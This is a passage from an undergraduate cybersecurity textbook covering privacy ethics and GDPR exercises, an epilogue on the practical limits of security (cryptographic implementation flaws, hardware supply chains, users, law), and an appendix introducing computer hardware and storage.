you give and other similar information. This can sound rather harmless. But assem-
bling a picture of people’s interests can be the first step towards inventing a plausible
motivation for use in a phishing attack, as described in Chap. 2. Moreover, it turns
out that a lot of different private details can be revealed indirectly by this type of
information. An investigation from Cambridge University in England [59], based on
information from 58 000 voluntary respondents, showed that analysis of Facebook
Likes could be used to reveal — with relatively high accuracy — very sensitive per-
sonal attributes, such as “sexual orientation, ethnicity, religious and political views,
personality traits, intelligence, happiness, use of addictive substances, parental sep-
aration, age, and gender”. It seems likely that browsing history, search criteria and
purchasing history could be analysed in a similar way. You should notice that the
collected pieces of information (e.g. Facebook Likes) are not themselves considered
as personal data according to European laws, so the law gives no direct protec-
tion against the collection of such information. Whether it is legal to analyse this
information in order to reveal personal data is quite another matter.
Interestingly enough, just this type of analysis has given rise to one of the biggest
political scandals in recent years, when it became known that personal data from (at
least) 50 million Facebook users had been analysed to determine the users’ attitudes,
in order to send these users targeted political messages. Data collection came via an
app which was billed as a “personality test”, which several hundred Facebook users
took part in after giving their informed consent to collection of these personality data
“for academic use”. However, it turned out that personal data from all the Facebook
368 12 Law and Ethics

friends of these users were also collected up, without their permission. This raised
a number of both legal and ethical issues. Firstly, that Facebook would allow this
indirect collection of personal data to take place. And secondly, that the data were
not just to be used for academic research, but as the basis of political campaigns, in
the first instance the US 2016 presidential election, the 2016 Brexit referendum and
the 2018 Mexican general election. Many people regard this not just as a question
of misuse of personal data, but as an attack on the democratic process. The full
extent to which this type of processing takes place in other contexts is still largely
undisclosed.

12.4.3 Protection Against Breaches of Privacy

There are a number of ways to go, if you want to protect your private life against
some of the efforts to collect data, which are not illegal but ethically dubious. You
can, for example:
a) Refuse to give away personal data unless you get some real benefit from doing
so. Many companies try to collect such data from you by offering a free computer
game, a small discount or other insignificant items. Consider carefully whether
you should accept this type of offer.
b) Ask to have information about yourself deleted. The European Court of Justice
decided in May 2014 that people have a right to have information about themselves
deleted (“the right to be forgotten”). The court’s decision ended a case in which
a citizen had requested Google to erase certain pieces of information from its
databases. This right is now formalised in the GDPR.
c) Refuse to accept non-essential cookies (i.e. cookies which are not essential for the
working of the website which yu are visiting. Or systematically delete cookies,
especially 3rd-party cookies, from your computer systems. Many modern web
browsers will even allow you to refuse 3rd-party cookies completely.
d) Use Privacy-Enhancing Technologies (PETs). These are in general terms tech-
nologies wich make it possible for IT users to control how much private data they
expose, and possibly also to check that service providers obey the rules which
the user has set for processing private data. They include technological solutions
such as:
• Pseudonymisation of communication, so the user’s e-mail address, IP ad-
dress and so on are replaced with an untraceable identification. Services such
as Tor [88] are examples of this type of approach to the matter.
• Sharing of spoofed online accounts, where for example a user sets up an
account and gives false data for their name, address, telephone number, marital
status etc., after which the user publishes the account’s userid and password,
so anyone else can use it. In this way the individual users do not reveal any
private data about themselves.
12.4 Ethics 369

• Checkable services, which are designed so that the users can at any time see
and, if necessary, correct all private information about themselves.
• Enhanced privacy ID (EPID)), an algorithm for creation of an anonymous
electronic signature. This is typically used to prove to other people that the
signer is a member of a group, withhout revealing which member — a perfectly
sufficient guarantee in many cases.
As there is a rising interest in protection of privacy, it is to be expected that more
and more PETs will be developed in the coming years.
A final remark: If it seems pointless to worry about breaches of privacy, it is
probably a good idea to think about what can happen if a malicious person steals
your private information in order to commit identity theft, or starts to change your
private information in order to discredit you.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A natural person
• A legal person
• Computer crime
• The Council of Europe’s cybercrime convention
• Substantive criminal law
• Procedural criminal law
• Traffic data
• Content data
• Jurisdiction
• “Extradite or prosecute” rule
• The Council of Europe’s convention on prevention of terrorism
• Personal data
• EU’s General Data Protection Regulation
• A controller
• A processor
• A recipient
• Consent
• A third country
• Sensitive personal data
• A situation photo
• A portrait photo
• A safe haven (in relation to personal data)
• A data subject’s rights
• Data leaks
• A data protection officer
• A supervisory authority (in relation to personal data)
370 12 Law and Ethics

• The European Data Protection Board

• An electronic patient record
• A healthcare worker
• Datamining
• Tracking
• The right to be forgotten
• Privacy enhancing technology (PET)
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further reading

Of the sets of laws described in this chapter, GDPR is probably the one which
causes most difficulties for people to handle. This is simply because the law has
consequences for everybody, whereas for example the laws on cybercrime and ter-
rorism only have direct significance for the small fraction of the population who
themselves are criminals, terrorists or policemen. In most European countries, the
national supervisory agency for data protection makes a big effort to help enterprises
and ordinary citizens to understand GDPR, for example via explanatory web pages
and other publications.
With respect to the ethical problems and especially the challenges which arise
from the use of modern statistical methods for analysis of large amounts of data,
Seltzer and Anderson’s article in “Encyclopedia of Quantitative Risk Analysis and
Assessment” [80] can be thoroughly recommended..

Exercises

12.1 Publication of pictures

Is it legal in the country where you live to publish on a web page:
a) A picture of a school end-of-term party?
b) A picture of a single person?
If you think it is only legal to do so under certain conditions, then specify the
necessary conditions.
12.2 Publication of personal identity numbers
Is it legal in the country where you live to publish your own personal identity number
on a web page?
12.3 Public web pages for a hospital
Which of the following parts of the IT system in a large hospital should be made
public and which should be kept confidential:
Exercises 371

a) Web pages with the hospital’s opening times?

b) Web pages listing the hospital’s departments?
c) Web pages listing the doctors in charge of the individual departments?
d) Web pages showing the names of currently hospitalised patients and the wards
which they are in?
e) Web pages showing the discharge summaries of discharged patients?
f) Web pages with statistics on patient treatment safety?

12.4 A hospital database system

In a certain hospital, the management want to procure a database system which has
security approval.
Find some proposals which they can take into consideration.

12.5 Checking a hospital’s files

In a certain hospital, the Information Security Officer has decided that all files and
folders with critical software and data must be protected against undesirable (both
malicious and non-malicious) modification. He proposes that this should be done by
calculating a cryptographic checksum, which is checked at regular intervals, for all
the critical units.
Propose a software system which can be used for this purpose.

12.6 Access to the EPR system

In a certain country, the general access conditions for EPR systems state that lookup
in an EPR system may as a rule only take place if it is necessary in connection with
current treatment of a patient, if there is a medical need for the information which
is to be looked up, and if the patient has not used his/her right to deny access to
his/her records. How many of these conditions can be automatically checked by the
IT system which contains the EPR system?

12.7 Patient data in an EPR

a) Are all data in an EPR sensitive personal data according to GDPR?
b) Are the rules for the personnel’s access to EPRs sufficient for protecting the
private life of the patients?
c) How long may a patient’s data be stored?
d) How can a patient’s data be disposed of?

12.8 The Erewhon Gospel Choir (1)

The Erewhon Gospel Choir has an electronic members list, which contains the name,
address, telephone number and e-mail address of each of its members. Only members
have access to the list, and they give explicit consent to this use of their data when
they join the choir. When members leave the choir, their data are deleted.
To access the list on the choir’s website, members have to type in a password,
which is the same for all members. Does this give suitable guarantees for security
of processing according to GDPR? If you believe it does, explain why. If you do not
believe it does, explain why not.
372 12 Law and Ethics

12.9 The Erewhon Gospel Choir (2)

To demonstrate its social conscience, the Erewhon Gospel Choir start a collaboration
with the prison in nearby Nether Erewhon, so the inmates can take part in the choir’s
activities. What precautions will the choir need to take in publishing their members
list, if the prison inmates are to be included?

12.10 Collection of content data from communication

The laws in many countries require telecomms companies to be able to store content
data from communication for up to 90 days. Modern telecommunication equipment
can transfer data by using SDH technology with a speed of about 10 Gbit/s. If a
telecomms company has to store all the transferred data for 90 days, how large a
storage capacity does the company need to have available?

12.11 False Facebook profiles

Investigations of a number of episodes in which false election propaganda has been
spread have revealed that this involved exploiting a large number of false Facebook
profiles, some of which were driven by robots which automatically “liked” each
others’ false claims. In this connection, you should try to answer three questions:
a) Is it illegal to set up a false Facebook profile, i.e. a profile which either uses
someone else’s name and details or which uses an entirely fictitious name and set
of details?
b) Is it unethical to do so?
c) Is it easy to do so?
Caution: You are strongly advised not to try actually to set up such a fake profile,
unless you are quite sure that it is legal to do so!

12.12 Security targets for personal information

In the text it is pointed out that personal information about individuals can be
deduced from data about what these individuals do when using their computers —
for example, which Facebook posts they Like, which web pages they look at, which
topics they search for and so on. A possible approach to protecting the personal
information might then be to consider these data as assets which are to be protected
according to a security policy.
If you think this is a feasible approach, try to formulate a set of security targets
for protecting these assets. If, on the other hand, you do not think this is a feasible
approach, explain why not.
Hint: You should consider carefully whether it would be possible to achieve these
targets without disturbing the normal use of the computer for searching, web lookup,
use of SoMes and so on.
Chapter 13
Epilogue

In the previous chapters of this book we have looked at the many factors which play
a role when we need to deal wih cybersecurity. Now comes the big question: Can
we put all this together to achieve cybersecurity in practice?
The answer is “Maybe, but only under certain conditions”.
Firstly, it is important not to underestimate the attackers. Serious attackers are
willing, if necessary, to use much time and many resources in preparing an attack. The
US Secret Service found during debriefings of convicted hackers that they commonly
read “the same cybersecurity blogs, IT security publications and vulnerability reports
that network administrators should be reading”. In this way they get to know about
recently discovered weaknesses which they can try to exploit. If they are well-
funded, they may purchase information about previously unknown vulnerabilities.
They can probe their target (often by using tools readily available on the Internet)
to get information about its network configuration and its hardware and software
setup. They can collect information about people who may be exploited via social
engineering. All these preparations can be made in good time before an actual attack
using hacking techniques or malware is attemped.
Secondly, as a defender you need to evaluate the threat pattern which you are
exposed to. Nobody has unlimited resources to spend on defense, so it is important
to identify the biggest risks and make sure that you choose countermeasures which
reduce them to an acceptable level.
Thirdly, and perhaps most importantly:
You have to trust all parts of all the IT systems which you need
to use—either directly or indirectly—to work as they should in
order to obey the security policy.

Here “all parts” means both hardware components, software and liveware (both IT
personnel and ordinary IT users).
This condition can, however, be very hard to fulfil. Some examples of why this is
the case are given in the following sections.

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 373
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_13
374 13 Epilogue

Cryptography: Even if the cryptographic algorithm in itself has nothing wrong

with it, the implementation of it in software or hardware can be faulty. One of the
commonest types of fault comes from software libraries in which cryptographic
functions are implemented incorrectly.
Some of these implementation errors have affected very large numbers of systems
and have been very costly to correct. In 2017, for example, the algorithm for RSA key
generation in the RSALib software library was found to be vulnerable to a so-called
ROCA attack. RSA key generation involves selection of randomly chosen large prime
numbers. In order to simplify this activity, so it could be performed on small devices
such as TPMs, RSAlib chose only to test numbers of a simple form to see whether
they were primes. When primes of this form are used for key generation, it turns out
to be relatively easy to factorise the RSA modulus, at least for keys of size 512, 1024
or 2048 bits. This vulnerability affected millions of TPMs and smartcards, which
had to be replaced or (where possible) have their firmware patched.
It is not a trivial task to implement cryptofunctions correctly. In recognition of
this fact, the US government organisation FIPS has introduced an approval process
for cryptographic modules. This process is described in the standard FIPS 140.
Modules, which can be software or hardware components, can be approved on four
levels, where level 1 has the weakest and level 4 has the strictest requirements. It
should be a matter of course that all serious applications use FIPS-140 approved
implementations, but this is regrettably not always the case.
Even if the algorithm is implemented correctly, it can be used in an inappropriate
way, as we have seen examples of in Sect. 4.4.3.3. Both implementation errors and
misuse mean that the algorithm’s basic strength is not achieved, so it is easier than
expected for an attacker to decrypt ciphertext or find the keys which have been used.
Hardware: IT systems contain large numbers of hardware components, which in
practice come from suppliers all over the world. It is naive to believe that this activity
always goes according to the rules. An unscrupulous manufacturer or even a govern-
ment agency could easily introduce a backdoor or some spyware into some critical
components—for example in a router, in a wireless access point, in a computer’s
CPU, in a printer or in an item of home electronics. In 2019, a number of west-
ern governments became nervous that the Chinese company Huawei might indeed
include such components in the 5G mobile telephone systems which it sold, and
therefore decided to boycott the company’s products for reasons of national security.
Even well-reputed companies can make mistakes which lead to security weaknesses.
In 2020, for example, several hundred software flaws which could be exploited to
spy on phone users were found in Qualcomm’s Snapdragon chip, used in about 40%
of all Android phones. Delivery of physical components can also be affected: A dis-
honest transport company might for example replace a batch of genuine components
with cheap but faulty copies before delivering them to their destination. In fact it is
necessary to consider security in all phases of a unit’s life cycle from design to final
operation—see Fig. 13.1.
For some of these hardware units there are approval procedures which can give
the purchaser confidence in the product’s correct design and manufacture, and that
13 Epilogue 375

Development Production

Operation Delivery

Installation Acceptance
Securing Embedding

Fig. 13.1 A unit’s life cycle from the development phase to the operational phase

it is the genuine product that is delivered. In recent years there has for example been
a lot of focus on the so-called Common Criteria, as we have seen in Chaps. 9 and
10. A product’s desired properties are specified by a combination of security-related
functional requirements taken from a standard catalogue, and they are evaluated with
respect to how well they fulfil these requirements according to a set of standardised
evaluation procedures. Depending on how strict the evaluation is required to be,
the system is certified to a level—a so-called Evaluation Assurance Level (EAL)—
between 1 and 7, where EAL1 can be achieved by simple functional testing, while
EAL7 requires a stringent, formal verification. A number of catalogues of certified
products and their EALs are available, so it is possible to choose components with
the desired degree of security.
But also here there are some traps which you can fall into. Even if a unit has been
evaluated to a high level, this does not necessarily mean that it is suitable for use in
any IT system where there is a requirement for cybersecurity. The evaluation can only
be used to see whether the unit lives up to the given functional requirements when
it is used in a particular environment which is described in the unit’s specification.
This idea is illustrated in Fig. 13.2.
Typically, the environment is assumed to protect against certain risks (in the figure:
electrical disturbances and blue demons), while the unit itself is designed to protect

Environment

Unit

Fig. 13.2 The unit is assumed

to operate in an environment
which protects against certain
risks, while it itself is designed
to ptotect against others.
376 13 Epilogue

itself against others (in the figure: attacks by red demons). If these assumptions about
the environment are not valid, because the threat pattern is quite different, then the
result of the evaluation can be quite misleading. A well-known example of this is
the evaluation of Microsoft Windows XP to level EAL4, which assumed that this
OS was used by non-hostile users in an environment with strictly controlled access.
This gives no guarantees of the level of security available if the OS is used in an
environment exposed to attacks via the Internet, for example.
Secondly, the functional requirements may be too weak. The case of the RSALib
vulnerability mentioned above is really an example of this. Although the security
microprocessor used in the devices which were susceptible to the ROCA attack had
been evaluated to EAL5+, the claim of conformance to the functional requirement
of correct RSA key generation had effectively been weakened, so that only confor-
mance to the correct formatting of the keys was claimed, whereas the key generation
algorithm itself was not checked.
The operating system: The never-ending stream of security updates to common
operating systems illustrates the problem very clearly. Of course it is good that the
suppliers look after these problems, so that a certain level of cybersecurity can be
maintained. But at the same time it is clear that an ordinary OS will not be able to
protect against an attacker who has sufficient resources to find or purchase knowledge
of previously unknown vulnerabilities which can be exploited. A basic problem is that
ordinary operating systems are so complex that they cannot be completely analysed
in order to show that they function correctly—for example, as we have discussed in
Chap. 9, that they satisfy the requirements for a Reference Monitor.
For use in systems where a higher level of security is wanted, there are a number
of OSs which are specially designed for the purpose and which have been evaluated
and approved, for example in accordance with the Common Criteria. For Linux,
USA’s National Security Agency (NSA) has promoted the development of a special
module, SELinux, for inclusion in the OS’s kernel. This is available in Debian,
Fedora, RedHat Enterprise, CentOS and Ubuntu variants of Linux. Of the many
other Unix-based OSs, OpenBSD, TrustedBSD, HardenedBSD, AIX and Trusted
Solaris have been developed with special focus on security. Such OSs are typically
chosen for use in servers rather than ordinary user systems, as servers need to be set
up with special care to achieve the desired security targets.
This reflects an important point: It is easier to achieve a high level of security in
a server than in an ordinary user system. In a web server, for example, only a single
application really needs to be run: the web server application. The secure OS can
therefore be set up so that it reflects the specific requirements for security in this
application. In an ordinary user system there is typically a large selection of appli-
cations, for example for text processing, graphics and calculations, as well as clients
for many different services. These activities may have very different requirements
for what the OS should protect. So it is a big challenge for the users, if they have to
decide how the security system must be set up. The result will often be that people
choose the type of simple solution which is offered by an ordinary OS, where all
applications get a moderate level of security.
13 Epilogue 377

Applications: As we have seen in Chap. 10, the main challenge here is to ensure:
• that a clear specification of what the application should do and which (possibly
malicious) environment it should run in should be developed. This makes it
possible for the design team to develop an application which indeed correctly
deals with the threats which the environment presents, such as faulty user input,
directed attacks, faults in the infrastructure and so on.
• that a systematic technique is used for implementing (“coding”) the application
on the basis of the specification.
• that the implementation is analysed by thorough testing or static or dynamic
program analysis (or preferably a combination of these), so confidence that it
lives up to its specification can be established.
Techniques for dealing with all these subtasks are available, but the challenge is to
ensure that they are in fact used. Here the size of the application plays a big role. It
can take a long time and many resources to develop and evaluate a large application.
It is said, for example, that just the evaluation of a large product such as a web
browser to Common Criteria EAL4 (the middle level) can cost between 500,000 and
5,000,000 dollars. Evaluations to EAL7 are naturally enormously more expensive
and are therefore in practice only performed for small but critical components in an
IT system,
For smaller and not particularly critical applications, such as most apps for mo-
bile phones, the task is less demanding, but there is a tendency for inexperienced
developers to throw themselves over these small tasks without having the necessary
knowledge for ensuring that they achieve a correctly designed and evaluated imple-
mentation. Failure to ensure that the apps do not contain intentional or unintentional
flaws which could threaten the user’s privacy or security is one of the most common
reasons for apps being rejected by app stores such as Google Play and Apple Store.
Users: Lack of security awareness among users of IT equipment is one of the
greatest challenges. Just like in areas such as traffic safety, safety at work and safe
sex, there are many who believe that accidents always happen to other people. Or who
say that they have no secrets on their PC, so there is no reason to protect it. Delusions
like that are one of the reasons that botnets with many thousands of computers under
“external control” can be formed. Political decisions that everybody—old or young—
must use IT to contact public authorities and institutions expose the technoblind in
society to considerable risks. This is not just a problem for individuals who risk
having their bank accounts drained by swindlers—in recent years there have been
examples where large companies have been put out of action for a while, because
an employee has clicked on a link in a phishing mail or installed a false update for
a software product. As it has—perhaps rather cynically—been expressed: “In every
large enterprise there is always someone who will click on anything!”
Such risks are increased by the fact that many institutions and companies feel
the need to continually make their web pages more trendy. When the users get to
a website which they regularly visit, they can therefore from time to time have the
experience that the pages look quite different from usual. In that situation it requires
a good deal of experience to make sure that it is not a false site set up by criminals
378 13 Epilogue

which you have been redirected to. IT systems are not always designed in a user-
friendly manner and have often not been tried out on a varied group of users to see
how they react. The combination of poor design and inexperienced users can be fatal
for security.
Organisational issues: Many people wonder how it can be the case that even large
organisations with huge financial resources can be victims of successful cyberattacks.
Surely such organisations should be able to protect themselves properly? One of the
main reasons for their inability to do so often seems to be that the organisation is not
sufficiently focused on the dangers of using networks to interconnect IT systems on
a world-wide basis.
It is quite easy to see how this can happen: the top management is typically
focused on financial and possibly operational issues. Although they, according to
modern organisational models such as those described in ISO/IEC Standard 27001,
have the ultimate responsibility for cybersecurity, in practice they just allow this
to be dealt with by more technically minded people slightly further down in the
organisation. This can easily lead to a big “understanding gap” between the top
managers and the technical staff. It can be very difficult to explain to a top director
trained in financial theory, or one with a lifetime of experience in, say, development
of new metallurgical products, that the cheapest security solution may expose the
organisation to severe risks, and that a substantially larger investment is needed.
This is not exactly a new problem, as the same difficulties often arise in connection
with health hazards and industrial safety. The only new feature is that, whereas health
hazards and poor industrial safety have bad effects which typically appear over a long
period of time, the effects of failure to safeguard the organisation’s IT activities often
appear very rapidly and can therefore quickly be fatally expensive for the organisation.
Embedded systems: More and more IT systems are embedded into apparatus,
buildings and means of transport, where they are used to collect data and for control
purposes. The concept of the Internet of Things (IOT) is expected to result in
many billions of small units being attached to the Internet. Both these developments
mean that there in future will be many more weak points where an attacker can
attempt an attack, which maybe can expand over large parts of the Internet. In the
transport sector, especially, huge quantities of data are collected up for operational
and development purposes, and these data have in many cases to be transferred
via the Internet for further analysis. This creates a significant risk that confidential
data will be disclosed—including both technical data which may be of interest to
industrial spies, and personal data which reveal how individual persons behave.
In companies and private homes, unsecured voice-controlled devices, webcams
and video systems offer fantastic new possibilities for espionage and surveillance.
The idea that your smart fridge, smart TV, smart house or even smart electricity
meter might be spying on you seems laughable to many people, but the technology
for getting smart devices to spy on you already exists and the possibility should be
taken seriously.
13 Epilogue 379

The law: Most sets of laws with relevance for cybersecurity are not developed as
a whole, but rather as a collection of separate efforts, possibly involving different
ministries or similar authorities. This can lead to counterproductive developments.
For example, in Denmark (which is otherwise thought of as a well-organised society),
the proposed legal changes in order to respect GDPR, which should have given
improved protection of personal data for all citizens, initially contained a clause
allowing collection of personal data from otherwise separate databases, in order to
disclose welfare fraud, tax avoidance and similar criminal activities. Analysis of
data from several databases requires relevant data to be transported from the various
places where the data are kept to a place where the analysis can be performed. The
risk of a cyberattack which gives access to these data during transport through the
Internet is considerable. So the protection of the personal data is threatened. The
problem in this case (and similar ones in other countries) is typically the lack of a
high-level coordinator who will look after the cybersecurity of the entire system.
This somewhat ambiguous attitude to how cybersecurity should be organised, when
activities which are critical for the running of society have to be planned, weakens
ordinary citizens’ trust in the system.
Another serious problem is that technology develops faster than the law. For ex-
ample, even though the technological basis for electronic signatures based on the
RSA algorithm was developed in the late 1970s, such signatures were in many coun-
tries not considered legally binding until the 1990s. And today we see lawmakers
wondering what to do about the latest developments in areas such as artificial intelli-
gence, robot technology, social media, and ultra-fast automated dealings on the stock
exchange. From the ordinary citizen’s point of view this leads to the development of
numerous grey zones, where the legal position is unclear, and where new forms of
cybercrime may potentially appear without it being possible to take any legal action
against them. Suppose for example that a modern AI-based system was asked to
predict future share prices, and produced a prediction which became widely known
and caused a lartge number of people to invest heavily in particular shares, which
in fact collapsed. Would publication of the prediction be considered as a case of
attempted computer-based fraud?
Cyberattacks are often cross-border activities, possibly involving several coun-
tries. Dealing with them will therefore regularly require international collaboration
based on international conventions, several of which we have looked at in Chap. 12.
International law is, however, not clear with respect to large-scale cyberattacks which
could be considered as acts of war: Do the rules of the Geneva convention apply
to cyberwarfare? And if so, to what extent? Is it for example a war crime to carry
out a cyberattack on a purely civilian hospital or to attack civilian nuclear plants?
There is no international convention covering this area, but a group of experts assem-
bled by the Nato Cooperative Cyber Defence Centre of Excellence have produced
the Tallinn Manual as a work of academic research [77]. Whether this results in a
binding international convention remains to be seen.
380 13 Epilogue

Fig. 13.3 Only careful attention can prevent interference in your computer systems from unwanted
sources! (Illustration reproduced from original artwork by Peter Heydenreich with the artist’s
permission)
Appendix A
What’s in the Box?

This appendix gives a brief introduction to what a computer system consists of, since
experience shows that many people have a very foggy idea of what the computers
which they use contain. It includes a short description of the computer’s hardware
and software components and their relationships within the system as a whole. Since
cyberattacks often affect parts of the system which users normally do not even notice,
this can be useful background knowledge when you read the rest of the book.

A.1 Hardware

A computer’s hardware consist of all the physical parts which the computer is made
up of. Computers are found in many different sizes, from very small units built into
apparatus to extremely large stationary computers; a selection can be seen in Fig. A.1.
Regardless of their differences, all modern computers are built up round a central
part which consists of a processor—often known as a Central Processing Unit, or
just a CPU—which processes data, and one or more storage units (or memory units).
These storage units are used to store data together with programs, which consist of
sets of instructions which tell the CPU how these data are to be processed.
The CPU and storage units are connected internally in the computer by some form
of network which makes it possible for the CPU to fetch instructions and data from the
storage, process these data and store the results. In practice the network is technically
speaking a bus: a collection of conducting wires which carry electrical signals round
between the various units in the computer. In the very simplest computers the
“architecture” with the CPU, storage and internal network is arranged as shown
schematically in Fig. A.2.
This basic architecture was first described by the Hungarian-American math-
ematician John von Neumann in 1945. It formed the basis for the first genuine
electronic computer controlled by a stored program, EDVAC, and is still by far the
most common. The basic idea is that the CPU fetches the individual instructions
from the storage one at a time, the CPU’s control unit interprets the instructions to

© The Editor(s) (if applicable) and The Author(s), under exclusive license
to Springer Nature Switzerland AG 2024 381
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3
382 A What’s in the Box?

Fig. A.1 Some computers anno 2021.

From left to right: a large PC, a tablet, a smartphone and an embedded control computer.

find out what is to be done, fetches the necessary data from the storage, performs (if
needed) some calculation with these data with the help of the arithmetic-logical unit
(ALU), stores the result in the storage and continues with the next instruction.
If you look closely at more modern computers, you will find that they have a
more complex structure than Fig. A.2 indicates. Firstly, the CPU often contains
several so-called cores), which can operate independently of one another, each of
them containing its own control unit and ALU. Depending on what sort of tasks

CPU

Control unit

ALU

Connecting network

Input Storage unit Output

Fig. A.2 A computer with unit unit
“von Neumann architecture”
A.1 Hardware 383

Table A.1 Typical operation speeds in the storage hierarchy

Computer type Powerful desktop Tablet Smartphone Apparatus
Processor Intel Core i7 8700K Intel Atom x5-E3940 Mediatek Helio P65 ATmega328P
CPU clock 3.7 GHz 1.6 GHz 2.0/1.95 GHz 20 MHz
CPU cores 4 4 8 1
Storage units Capacity Acc.time Capacity Acc.time Capacity Acc.time Capacity Acc.time
Disk 2TB ? 64GB ? ?
Memory (max) 64GB 11.25ns 8GB 12ns 64GB(FLA) ? 32kB(I) 50ns
4GB(RAM) 8.4ns 2kB(D) 50ns
CPU L3 cache 4 x 2MB 4.8ns — — 4MB ? — —
CPU L2 cache 4 x 256kB 3.0ns 2MB ? 512KB ? — —
CPU L1 cache 4 x 32kB(I) 1.2ns 64kB(I) ? 48kB(I) ? — —
4 x 32kB(D) 48kB(D) 32kB(D)
CPU registers 16 x 64bit 0.3ns 16 x 64bit 31 x 64bit 32 x 8bit 50ns

the computer is designed to do, these cores can be identical or different. In mobile
telephones, for example, CPUs often contain specialised cores for handling the
connection to the telephone network and to handle the user interface. CPUs in larger
computers often contain a special Graphics Processing Unit (GPU)), which itself
can consist of several cores, to handle the presentation of images on the screen.
Secondly, the storage is divided up into a whole hierarchy of storage units in
different technologies, with different capacities and access times. For example:
• Disks, with a large (possibly very large) capacity, but often with a long access
time.
• (Main) memory, with moderate capacity and short access time.
• Cache stores, with small capacity and very short access time. These are used to
save copies of often or recently used instructions or data, so the CPU can get hold
of them faster than if they lay in the memory.
• CPU registers, with very small capacity and very short access times. These are
used, for example, to store partial results during the CPU’s calculations.
Disks are placed physically outside the CPU, and sometimes even outside the com-
puter, to which they are attached by a cable. The memory in small computers is often
built into the same physical chip as the CPU, while in larger computers it lies outside
the CPU. The CPU’s registers and cache storage are always built into the CPU itself,
so it can make use of their short access times. Table A.1 gives examples of capacities
and access times for these different storage units in four computers of recent date.
The units in the table may need some explanation. The basic unit for time is the
second (abbreviated s), for frequency it is Hertz (Hz) and for storage capacity it is
byte (B), or for very small capacities bit, where there by convention are 8 bits in a
byte. Larger or smaller units are expressed by using a prefix letter, which indicates
how much the basic unit is to be multiplied by, as shown in Table A.2. Since storage
units for technical reasons are normally produced in sizes which are a power of 2,
scaling factors which are powers of 1024 (= 210 ) instead of 1000 are often used
for storage capacities.. To avoid confusion, these so-called binary factors are often
indicated by similar names to the decimal factors, with “bi” as a suffix, e.g kibi,
384 A What’s in the Box?

Table A.2 Scaling factors for basic units

m milli 0,001 𝜇 mikro 0,000 001 n nano 0,000 000 001
k kilo 1 000 M Mega 1 000 000 G Giga 1 000 000 000
T Tera 1 000 000 000 000 P Peta 1 000 000 000 000 000

Mebi, Gibi, etc., with abbreviations ki, Mi, Gi, . . . . So for example the unit MiB
stands for 1024 × 1024 bytes and so on.

A.1.1 Disks

Disks are typically characterised by having a large capacity and a relatively long
access time. They are called “disks” because the earliest ones were just exactly
hard, thin, circular platters, whose surface was covered by a thin layer of magnetic
material. That type of disk, which still exists today, and is known as a Hard Disk
Drive (or HDD for short), rotates around a central axis, driven by an electric motor
at a speed which nowadays typically lies between 5 000 og 15 000 revolutions per
minute. Conceptually, the disk is divided up into concentric circular tracks round
the axis, and the individual tracks are divided up into sectors, as shown on the
left in Fig. A.3. To achieve a bigger storage capacity, most modern disk units have
several platters above one another mounted on the same rotating axis. Units for large
computers, for example, often contain 10-15 platters on which data can be written
on both sides. Units for laptop computers, where there are physical limits on how
high the stack of platters can be, typically contain between 1 and 5 platters, as in the
example shown on the right in Fig. A.3.
Information to be stored on the disk is stored in the tracks as a sequence of small
magnetic areas, which correspond to the sequence of 0s and 1s which represent the
information in the computer. Reading from the disk takes place by detecting the
pattern of magnetic areas. A group of one or (in units with several platters) more
reading and writing heads can be moved, so it is possible to read or write in all the
tracks on the disk as required. Many of the first disk units in the 1960s had platters
with a diameter of 35 cm and a capacity of around 200 kByte/surface, but due to

Track Sector
Axle

Platters

Fig. A.3 A classical HDD. Left: Schematic structure. Right: A physical disk with 3 platters.
A.1 Hardware 385

technological advances, modern disks with platters of around 6.25 cm (2.5 inches)
can have capacities of 4 Tbyte or more.
Nowadays many so-called disks have no platters and no moving parts, but are
purely electronic devices rather like computer memories. When there is no need for
a motor, neither to rotate the disk nor to move the reading and writing heads, the disk
can be lighter, completely silent and with lower power consumption. It is also very
robust with respect to shocks and vibration, as there are no movable parts which can
be shaken to pieces. All this is a big advantage in laptop computers and tablets. The
primary example of this type of disk is the Solid State Drive, often just called an
SSD. Even if the disk does not rotate, it is still conceptually divided up into tracks
and sectors, so that from a programming point of view it is just a simple replacement
for an ordinary rotating disk. And even though the actual SSD electronics take up
very little room, the SSD is typically packed into a unit of the same size and with
the same connecting plugs as a standard HDD, which it can physically replace.
When you need to read from or write to a particular place on a classical HDD,
there is as a rule a considerable access time before reading or writing can begin.
The disk needs to move the read/write heads to the desired track and also wait
until the desired sector is under the heads. The rotation time is normally the largest
contribution: on average it will be half the time for a complete rotation of the disk.
For a disk which for example runs at 15 000 rotations per minute, time for a complete
rotation is 4 ms., so the average rotation time will be 2 ms. In an SSD, there is nothing
which needs to move, so the access time is a small fraction of a millisecond.
Though SSDs have all these advantages, they also have a number of disadvantages.
Firstly, they are still much more expensive than rotating disks: an SSD with a given
capacity for an ordinary PC, for example, costs in 2023 about 8-10 times as much as
an HDD with the same capacity. Secondly, SSDs suffer from a kind of “electronic
wear”, so some of the small memory blocks in the SSD stop working after a certain
number of write operations—typically between 5 000 and 100 000, depending on
the technology in use. The disk’s control electronics attempts to counteract this by
changing round which physical memory block gets written in, when the computer
asks the disk to write a given block. The aim of this process, known as wear levelling,
is to ensure that all the physical blocks are used equally much.
Figure A.4 shows schematically how wear levelling works: at the start, a given data
block seen from the computer’s side is written into the block with the same number
in the SSD, as shown on the left in the figure. After a while, when a lot has been
written in some of the blocks, for example blocks 1, 5 and 19, the disk electronics
starts to use less-used blocks instead. So the block which the computer sees as block
1 now gets written to physical disk block 16, block 5 to physical block 13 and block
19 to physical block 21, as shown to the right in the figure. Paradoxically, even if the
blocks in an SSD can be worn out, SSDs are difficult to delete completely. This is a
potential security risk, if you need to delete confidential data.
Many computers are connected to external disks. These can be HDDs or SSDs,
just like internal disks, but a common alternative is so-called flash drives. These are
basically a type of SSD, but most often in a form which can be plugged directly into a
USB port or a reader or writer for memory cards. Flash drives for putting into a USB
386 A What’s in the Box?

Initially After wear levelling

Blocks seen 1 2 3 4 5 1 2 3 4 5
from computer
6 7 8 9 10 6 7 8 9 10

11 12 13 14 15 11 12 13 14 15

16 17 18 19 20 16 17 18 19 20

